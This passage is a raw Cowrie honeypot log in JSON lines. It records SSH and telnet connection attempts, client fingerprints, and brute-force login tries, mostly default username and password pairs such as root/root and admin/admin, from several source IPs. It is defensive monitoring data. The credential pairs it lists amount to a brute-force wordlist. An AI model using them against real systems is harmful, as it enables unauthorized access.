a","ssh-dss","ssh-ed25519","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 9052c4ab4164c78256e71143dcfc7eac","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:10:06.209896Z","src_ip":"54.211.193.79","session":"7cc5e7948520","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:10:06.743325Z","src_ip":"54.211.193.79","session":"7cc5e7948520","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.194.12","src_port":45654,"dst_ip":"10.17.0.5","dst_port":22,"session":"b07e3ed93950","protocol":"ssh","message":"New connection: 134.209.194.12:45654 (10.17.0.5:22) [session: b07e3ed93950]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:11:24.166463Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:11:24.171772Z","src_ip":"134.209.194.12","session":"b07e3ed93950","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:11:24.321398Z","src_ip":"134.209.194.12","session":"b07e3ed93950","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:11:24.559353Z","src_ip":"134.209.194.12","session":"b07e3ed93950","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:11:25.640879Z","src_ip":"134.209.194.12","session":"b07e3ed93950","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"58.187.205.36","src_port":41772,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e7903b3d6b5","protocol":"telnet","message":"New connection: 58.187.205.36:41772 (10.17.0.5:23) [session: 7e7903b3d6b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:11:30.041757Z"}
{"eventid":"cowrie.session.connect","src_ip":"77.90.185.17","src_port":49356,"dst_ip":"159.203.135.109","dst_port":22,"session":"d88360149736","protocol":"ssh","message":"New connection: 77.90.185.17:49356 (159.203.135.109:22) [session: d88360149736]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:11:36.396770Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3","message":"Remote SSH version: SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:11:36.401737Z","src_ip":"77.90.185.17","session":"d88360149736","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"390ffe68a68c2a2891210413e80689fa","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-cbc;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com,zlib","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","sk-ecdsa-sha2-nistp256@openssh.com","ssh-ed25519","sk-ssh-ed25519@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-cbc"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 390ffe68a68c2a2891210413e80689fa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:11:36.504329Z","src_ip":"77.90.185.17","session":"d88360149736","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"abcd1234","message":"login attempt [root/abcd1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:11:37.005408Z","src_ip":"77.90.185.17","session":"d88360149736","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.250893831253052,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:11:43.292405Z","src_ip":"58.187.205.36","session":"7e7903b3d6b5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"15.4","message":"Connection lost after 15.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:11:51.759847Z","src_ip":"77.90.185.17","session":"d88360149736","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":51372,"dst_ip":"159.203.135.109","dst_port":22,"session":"090020c1f93f","protocol":"ssh","message":"New connection: 45.148.10.121:51372 (159.203.135.109:22) [session: 090020c1f93f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:12:29.591784Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:12:29.595680Z","src_ip":"45.148.10.121","session":"090020c1f93f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:12:29.671180Z","src_ip":"45.148.10.121","session":"090020c1f93f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"admin","message":"login attempt [admin/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:12:29.897210Z","src_ip":"45.148.10.121","session":"090020c1f93f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:12:30.974713Z","src_ip":"45.148.10.121","session":"090020c1f93f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.194.12","src_port":44440,"dst_ip":"10.17.0.5","dst_port":22,"session":"f7d6f144784f","protocol":"ssh","message":"New connection: 134.209.194.12:44440 (10.17.0.5:22) [session: f7d6f144784f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:13:51.226080Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:13:51.231142Z","src_ip":"134.209.194.12","session":"f7d6f144784f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:13:51.310704Z","src_ip":"134.209.194.12","session":"f7d6f144784f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"validator","password":"validator","message":"login attempt [validator/validator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:13:51.583665Z","src_ip":"134.209.194.12","session":"f7d6f144784f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:13:52.668354Z","src_ip":"134.209.194.12","session":"f7d6f144784f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.245.10.239","src_port":60126,"dst_ip":"10.17.0.5","dst_port":22,"session":"fd6c22d4fbfa","protocol":"ssh","message":"New connection: 157.245.10.239:60126 (10.17.0.5:22) [session: fd6c22d4fbfa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:15:01.243919Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:15:01.249989Z","src_ip":"157.245.10.239","session":"fd6c22d4fbfa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:15:01.259614Z","src_ip":"157.245.10.239","session":"fd6c22d4fbfa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:15:01.279326Z","src_ip":"157.245.10.239","session":"fd6c22d4fbfa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:15:02.288924Z","src_ip":"157.245.10.239","session":"fd6c22d4fbfa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.194.12","src_port":38550,"dst_ip":"10.17.0.5","dst_port":22,"session":"fb1eb283b84c","protocol":"ssh","message":"New connection: 134.209.194.12:38550 (10.17.0.5:22) [session: fb1eb283b84c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:16:27.398137Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:16:27.402639Z","src_ip":"134.209.194.12","session":"fb1eb283b84c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:16:27.481151Z","src_ip":"134.209.194.12","session":"fb1eb283b84c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"node","password":"node","message":"login attempt [node/node] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:16:27.714690Z","src_ip":"134.209.194.12","session":"fb1eb283b84c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:16:28.795479Z","src_ip":"134.209.194.12","session":"fb1eb283b84c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":33517,"dst_ip":"10.17.0.5","dst_port":22,"session":"b2e14a351bb4","protocol":"ssh","message":"New connection: 2.57.121.112:33517 (10.17.0.5:22) [session: b2e14a351bb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:20:39.740247Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:20:39.744548Z","src_ip":"2.57.121.112","session":"b2e14a351bb4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:20:39.847854Z","src_ip":"2.57.121.112","session":"b2e14a351bb4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"zoloft","message":"login attempt [admin/zoloft] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:20:40.335657Z","src_ip":"2.57.121.112","session":"b2e14a351bb4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"zoinks","message":"login attempt [admin/zoinks] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:20:41.442820Z","src_ip":"2.57.121.112","session":"b2e14a351bb4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"zaratustra","message":"login attempt [admin/zaratustra] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:20:42.549759Z","src_ip":"2.57.121.112","session":"b2e14a351bb4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"zaragoza","message":"login attempt [admin/zaragoza] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:20:43.656349Z","src_ip":"2.57.121.112","session":"b2e14a351bb4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"z123456789","message":"login attempt [admin/z123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:20:44.765009Z","src_ip":"2.57.121.112","session":"b2e14a351bb4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:20:45.872895Z","src_ip":"2.57.121.112","session":"b2e14a351bb4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.0.106.249","src_port":54568,"dst_ip":"159.203.135.109","dst_port":23,"session":"e4be6442cfaf","protocol":"telnet","message":"New connection: 134.0.106.249:54568 (159.203.135.109:23) [session: e4be6442cfaf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:21:36.951752Z"}
